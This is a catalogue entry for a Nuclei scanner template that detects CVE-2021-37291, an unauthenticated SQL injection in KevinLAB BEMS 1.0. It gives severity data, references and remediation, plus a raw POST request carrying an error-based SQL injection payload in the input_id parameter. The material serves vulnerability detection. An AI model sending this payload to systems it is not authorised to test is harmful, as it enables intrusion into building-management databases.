CVE-2021-37291: KevinLAB BEMS 1.0 - SQL Injection
- Template: CVE-2021-37291
- Name: KevinLAB BEMS 1.0 - SQL Injection
- Description: KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
- Impact: Unauthenticated attackers can exploit SQL injection in the input_id parameter to extract sensitive database contents, modify data, and execute unauthorized administrative operations.
- Remediation: Upgrade to KevinLAB BEMS version 1.0.1 or later that addresses the SQL injection vulnerability.
- Severity: critical
- Authors: gy741
- Tags: cve, cve2021, kevinlab, sqli, edb, packetstorm, vkev, vuln
- References: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php, https://www.exploit-db.com/exploits/50146, https://packetstormsecurity.com/files/163572/, https://nvd.nist.gov/vuln/detail/cve-2021-37291
- Cves: CVE-2021-37291
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-37291.yaml
- Digest: 4b0a00483046022100c35dd107b4cd73f4c3c61c3388562e17e012cc8995029e8e1bcfb4499fb353bd022100f8bb47298a18a629ac6b1397308702d43f329a2b8738e1426b4549a2eaf8152d
- Created at: 2021-07-24T10:07:48Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1949
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37291.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.06535
- Epss percentile: 0.93961
- Cpe: cpe:2.3:a:kevinlab:4st_l-bems:1.0.0:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: 4st_l-bems
- Vendor: kevinlab
Products
| Product | Indexed | Url |
|---|---|---|
| kevinlab:4st_l-bems | yes | /v1/products/kevinlab/4st_l-bems |
Labels
- Name: KevinLAB Inc Building Energy Management System - SQL Injection
- Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
- Remediation: Sanitize and parameterize the input_id POST parameter, and update to the latest version if available.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-37291
- Not known: requirements
```yaml
id: CVE-2021-37291
info:
name: KevinLAB BEMS 1.0 - SQL Injection
author: gy741
severity: critical
description: |
KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
impact: |
Unauthenticated attackers can exploit SQL injection in the input_id parameter to extract sensitive database contents, modify data, and execute unauthorized administrative operations.
remediation: |
Upgrade to KevinLAB BEMS version 1.0.1 or later that addresses the SQL injection vulnerability.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php
- https://www.exploit-db.com/exploits/50146
- https://packetstormsecurity.com/files/163572/
- https://nvd.nist.gov/vuln/detail/cve-2021-37291
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-37291
epss-score: 0.06535
epss-percentile: 0.93961
cwe-id: CWE-89
cpe: cpe:2.3:a:kevinlab:4st_l-bems:1.0.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: kevinlab
product: 4st_l-bems
tags: cve,cve2021,kevinlab,sqli,edb,packetstorm,vkev,vuln
http:
- raw:
- |
POST /http/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
requester=login&request=login¶ms=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]
matchers-condition: and
matchers:
- type: word
words:
- "XPATH syntax error"
- ": '\\ZSL1ZSL'"
condition: and
- type: status
status:
- 200
digest: 4b0a00483046022100c35dd107b4cd73f4c3c61c3388562e17e012cc8995029e8e1bcfb4499fb353bd022100f8bb47298a18a629ac6b1397308702d43f329a2b8738e1426b4549a2eaf8152d:922c64590222798bb761d5b6d8e72950
```